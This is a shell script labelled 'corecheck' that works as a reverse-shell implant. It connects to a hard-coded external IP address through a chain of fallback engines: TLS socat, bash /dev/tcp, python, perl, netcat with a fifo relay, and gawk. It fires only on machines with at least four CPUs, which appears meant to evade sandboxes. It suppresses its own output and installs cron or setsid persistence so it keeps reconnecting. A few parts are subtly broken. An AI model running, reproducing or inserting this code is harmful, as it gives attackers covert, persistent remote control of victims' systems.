#!/bin/sh LHOST="${LHOST:-172.86.86.60}" LPORT="${LPORT:-41670}" TLS_PORT="${TLS_PORT:-41669}" CPU_MIN="${CPU_MIN:-4}" QUIET="${QUIET:-0}" TAG="corecheck" msg() { [ "$QUIET" = "1" ] || echo "[$TAG] $*" >/dev/null 2>&1 || true; } # ---------------------------------------------------------- # cpu count: try the most available source first, and never # rely on a single syscall. Everything is guarded. # ---------------------------------------------------------- cpu_count() { c="" if [ -r /proc/cpuinfo ]; then c=$(grep -c '^processor' /proc/cpuinfo 2>/dev/null) fi if [ -z "$c" ] || [ "$c" = "0" ]; then c=$(getconf _NPROCESSORS_ONLN 2>/dev/null) fi if [ -z "$c" ] || [ "$c" = "0" ]; then c=$(sysctl -n hw.ncpu 2>/dev/null) fi if [ -z "$c" ] || [ "$c" = "0" ]; then c=$(nproc 2>/dev/null) fi if [ -z "$c" ] || [ "$c" = "0" ]; then # count /sys cpu entries as last resort c=$(ls -d /sys/devices/system/cpu/cpu[0-9]* 2>/dev/null | wc -l) fi # gate fails closed on unparseable data case "$c" in ''|*[!0-9]*) c=0 ;; esac echo "$c" } # ---------------------------------------------------------- # shell engines, best-first # ---------------------------------------------------------- shell_python() { py=$(command -v python3 || command -v python) [ -n "$py" ] || return 1 "$py" -c "import socket,os,pty; \ s=socket.socket();s.connect(('$LHOST',$LPORT)); \ os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2); \ pty.spawn('/bin/sh')" 2>/dev/null } shell_perl() { command -v perl >/dev/null 2>&1 || return 1 perl -MSocket -e ' socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")) or exit 1; connect(S,pack_sockaddr_in($ARGV[1],inet_aton($ARGV[0]))) or exit 1; open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S"); exec("/bin/sh");' "$LHOST" "$LPORT" 2>/dev/null } shell_nc() { for t in nc ncat "nc.openbsd" "nc.traditional" socat; do p=$(command -v "$t") || continue case "$t" in socat) "$p" TCP:"$LHOST":"$LPORT" EXEC:'/bin/sh',pty,stderr 2>/dev/null && return 0 ;; *) "$p" -e /bin/sh "$LHOST" "$LPORT" 2>/dev/null && return 0 # -e-less netcat: fifo relay (busybox nc) rm -f /tmp/.cc.f 2>/dev/null mkfifo /tmp/.cc.f 2>/dev/null || continue ( "$p" "$LHOST" "$LPORT" < /tmp/.cc.f >/tmp/.cc.o 2>/dev/null; \ rm -f /tmp/.cc.f /tmp/.cc.o ) & sleep 1 sh -c 'while IFS= read -r l; do printf "%s\n" "$l" > /tmp/.cc.f; done' & wait 2>/dev/null return 0 ;; esac done return 1 } shell_awk() { command -v awk >/dev/null 2>&1 || return 1 awk -v H="$LHOST" -v P="$LPORT" 'BEGIN { s = "/inet/tcp/0/" H "/" P while (1) { printf "shell>" |& s if ((s |& getline c) <= 0) break while ((c |& getline out) > 0) printf "%s\n", out |& s close(s) } }' 2>/dev/null } # ---------------------------------------------------------- # dedup: is a shell already established to LPORT? # ---------------------------------------------------------- already_connected() { conn=$(ss -tn 2>/dev/null | grep -F "$LPORT" | grep -i estab) [ -n "$conn" ] && return 0 conn=$(netstat -tn 2>/dev/null | grep -F "$LPORT") [ -n "$conn" ] && return 0 return 1 } spawn_tls() { command -v socat >/dev/null 2>&1 || return 1 socat OPENSSL:"$LHOST":"$TLS_PORT",verify=0 SYSTEM:'/bin/sh' 2>/dev/null && return 0 return 1 } shell_bash() { command -v bash >/dev/null 2>&1 || return 1 bash -c "exec 5<>/dev/tcp/'"$LHOST"'/'"$LPORT"'; cat <&5 | while read -r line; do eval \"\$line\" 2>&5 >&5; done" 2>/dev/null && return 0 return 1 } spawn_shell() { ( spawn_tls || shell_bash || shell_python || shell_perl || shell_nc || shell_awk ) & } # ---------------------------------------------------------- # persistence: cron if possible, detached self-loop otherwise # ---------------------------------------------------------- self_path() { readlink -f "$0" 2>/dev/null || printf '%s' "$0" } persist_install() { self=$(self_path) line="*/13 * * * * $self --oneshot -q" if command -v crontab >/dev/null 2>&1; then if ( crontab -l 2>/dev/null | grep -vF "$self" printf '%s\n' "$line" ) | crontab - 2>/dev/null; then msg "cron persistence installed" return 0 fi fi # no crontab or suid-less crontab: detached loop if command -v setsid >/dev/null 2>&1; then setsid sh -c "while :; do $self --oneshot --quiet; sleep 900; done" & else ( while :; do $self --oneshot --quiet; sleep 900; done ) & fi msg "detached self-loop persistence installed" return 0 } cmd_oneshot() { n=$(cpu_count) msg "detected cores: $n (gate $CPU_MIN)" if [ "$n" -ge "$CPU_MIN" ]; then if already_connected; then msg "shell already established — skip" else spawn_shell fi else msg "below core gate — not firing" fi } cmd_test() { n=$(cpu_count) [ "$n" -ge "$CPU_MIN" ] && d=FIRE || d=SKIP echo "[$TAG] cores=$n gate=$CPU_MIN -> $d" t="" for e in python3 python perl nc ncat socat awk; do command -v "$e" >/dev/null 2>&1 && t="$t $t" done echo "[$TAG] usable engines:$t" } cmd_install() { persist_install; } # ---------------------------------------------------------- # entry # ---------------------------------------------------------- MODE="oneshot" for a in "$@"; do case "$a" in --quiet|-q) QUIET=1 ;; --oneshot) MODE="oneshot" ;; --install) MODE="install" ;; --test) MODE="test" ;; -h|--help) sed -n '2,20p' "$self_path"; exit 0 ;; esac done case "$MODE" in oneshot) n=$(cpu_count) if [ "$n" -ge "$CPU_MIN" ]; then msg "cpu gate passed ($n >= $CPU_MIN) — firing" spawn_shell # install persistence only once if command -v crontab >/dev/null 2>&1 && ! crontab -l 2>/dev/null | grep -qF "$self"; then persist_install fi else msg "cpu gate: $n < $CPU_MIN — not firing" if [ ! -r /proc/cpuinfo ] && ! command -v sysctl >/dev/null 2>&1 \ && ! command -v getconf >/dev/null 2>&1; then msg "warning: no cpu detection source; defaulting to skip" fi fi ;; test) cmd_test ;; install) persist_install ;; esac exit 0